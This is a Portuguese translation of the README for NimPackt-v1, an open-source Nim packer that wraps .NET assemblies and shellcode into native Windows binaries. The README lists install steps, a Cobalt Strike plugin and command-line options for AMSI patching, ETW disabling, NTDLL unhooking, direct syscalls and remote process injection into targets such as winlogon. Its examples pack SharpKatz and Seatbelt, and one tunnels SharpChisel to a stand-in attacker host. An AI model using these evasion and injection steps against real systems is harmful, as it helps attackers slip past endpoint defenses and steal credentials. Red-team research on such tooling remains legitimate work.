
Empacotador de assembly baseado em Nim e carregador de shellcode para opsec e lucro

Por Cas van Cooten (@chvancooten)
Com agradecimentos especiais a Marcello Salvati (@byt3bl33der) e Fabian Mosch (@S3cur3Th1sSh1t)
Atualização: NimPackt-v1 está entre os piores códigos que já escrevi (eu estava apenas começando a aprender Nim). Por causa disso, comecei uma reescrita completa do NimPackt, chamada 'NimPackt-NG' (atualmente ainda privada). Com esta reescrita, decidi abrir o código-fonte do branch antigo ("NimPackt-v1"). Portanto, este branch não é mais mantido e não oferece nenhuma garantia ou suporte. PRs são sempre bem-vindos, claro :)
NimPackt é um empacotador baseado em Nim para executáveis .NET (C#) e shellcode voltado para Windows. Ele automaticamente envolve o payload em um binário Nim que é compilado para C nativo e, portanto, mais difícil de detectar e fazer engenharia reversa. Existem dois métodos principais de execução:
Execute-Assembly reempacota um executável .NET e o executa, opcionalmente aplicando medidas evasivas como desacoplamento de API, correção de AMSI ou desabilitação de ETW.Shinject pega um arquivo .bin bruto com shellcode independente de posição e o executa localmente ou em um processo remoto, opcionalmente usando syscalls diretas para acionar o shellcode ou corrigindo hooks de API para evadir EDR.Atualmente, o NimPackt possui as seguintes funcionalidades.
NTDLL.dll usando ShellyCoatexe ou dllUma ótima fonte para binários baseados em C# para ferramentas ofensivas pode ser encontrada aqui. É altamente recomendável compilar os binários C# você mesmo. Embora os binários embutidos estejam criptografados, você deve ofuscar binários sensíveis (como Mimikatz) para reduzir o risco de detecção.
Se você estiver tendo problemas para compilar o binário com Syscalls, tente fazer o downgrade do seu GCC para a versão 8.1.0 (especialmente no Windows). SEMPRE teste os payloads gerados!
No Linux, basta instalar os pacotes necessários e usar o instalador de pacotes Nimble para instalar os pacotes e bibliotecas Python necessários.
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto
No Windows, execute o instalador do Nim a partir daqui. Certifique-se de instalar o mingw e definir os caminhos corretamente usando o utilitário finish.exe fornecido. Se você não tiver o Python3, instale-o e depois instale os pacotes necessários da seguinte forma.
nimble install winim nimcrypto
pip3 install pycryptodome argparse
A imagem Docker chvancooten/nimbuild pode ser usada para compilar binários do NimPackt-v1. Usar Docker é fácil e evita problemas de dependência, pois todas as dependências necessárias estão pré-instaladas neste contêiner.
Para usá-lo, instale o Docker para o seu sistema operacional e certifique-se de que o shellcode de entrada está na pasta atual. Em seguida, inicie a compilação em um contêiner da seguinte forma.
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin
Para instalar o plugin do CobaltStrike, selecione Cobalt Strike -> Script Manager na barra de menu e selecione Load. Certifique-se de carregar o arquivo .cna de sua localização original, caso contrário, ele não conseguirá encontrar os arquivos de script do NimPackt!

usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]
argumentos obrigatórios:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
Modo de execução do empacotador. Suporta "execute-assembly" ou "shinject"
-i INPUTFILE, --inputfile INPUTFILE
Executável .NET C# (.exe) ou shellcode (.bin) a ser envolvido
argumentos do execute-assembly:
-a ARGUMENTS, --arguments ARGUMENTS
Argumentos a serem "incorporados" no binário envolvido, ou "PASSTHRU" para aceitar
argumentos em tempo de execução (padrão)
-na, --nopatchamsi NÃO corrigir (desabilitar) a Anti-Malware Scan Interface (AMSI)
-ne, --nodisableetw NÃO desabilitar o Event Tracing for Windows (ETW)
argumentos do shinject:
-r, --remote Injetar shellcode em processo remoto (padrão falso)
-t INJECTTARGET, --target INJECTTARGET
Thread remota alvo para injeção em processo remoto
-E, --existing Injetar remotamente em um processo existente em vez de um recém-criado (padrão
falso, implica -r) (AVISO: VOLÁTIL)
outros argumentos:
-o OUTPUTFILE, --outfile OUTPUTFILE
Nome do arquivo de saída (ex.: "LegitBinary"). Especificar SEM extensão
ou caminho. Esta propriedade será armazenada no binário de saída como o nome
original do arquivo
-nu, --nounhook NÃO desacoplar hooks de API de modo de usuário no processo alvo carregando um novo
NTDLL.dll
-ns, --nosyscalls NÃO usar syscalls diretas (gerações 7-10 do Windows) em vez de APIs de alto nível
para evadir EDR
-f FILETYPE, --filetype FILETYPE
Tipo de arquivo para compilar ("exe" ou "dll", padrão: "exe")
-s, --sleep Dormir por aproximadamente 30 segundos calculando números primos
-32, --32bit Compilar em modo 32 bits (não testado)
-S, --showConsole Mostrar uma janela de console com a saída do aplicativo ao executar
-d, --debug Ativar modo de depuração (mantém o arquivo fonte .nim na pasta de saída)
-v, --verbose Imprimir mensagens de depuração do binário envolvido em tempo de execução
-V, --version Mostrar número da versão do programa e sair
Exemplos:
# Empacotar SharpKatz para aceitar argumentos em tempo de execução, corrigindo hooks de NTDLL, AMSI e ETW, imprimindo mensagens verbose em um console visível em tempo de execução
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v
# Empacotar Seatbelt como um arquivo DLL com argumentos embutidos (nota: escrever no arquivo de saída porque stdout não está disponível para DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"
# Empacotar SharpChisel com uma string de conexão ChiselChief embutida, não desacoplar, não corrigir AMSI ou desabilitar ETW, ocultar a janela do aplicativo em tempo de execução
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'
# Empacotar shellcode bruto para arquivo DLL que executa na thread local através de syscalls diretas, também desacoplando NTDLL
# Shellcode gerado com 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll
# Empacotar shellcode bruto para executar em uma thread recém-criada do Calculator em uma janela invisível
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"
# Empacotar shellcode bruto para executar no processo Winlogon existente (primeiro PID com nome 'winlogon.exe'), não usar syscalls diretas ou desacoplar NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns
Os binários são armazenados na subpasta output do seu diretório de instalação. Os arquivos dll gerados podem ser executados da seguinte forma (o ponto de entrada pode ser alterado no modelo Nim):
rundll32 exampleShinjectNimPackt.dll,IconSrv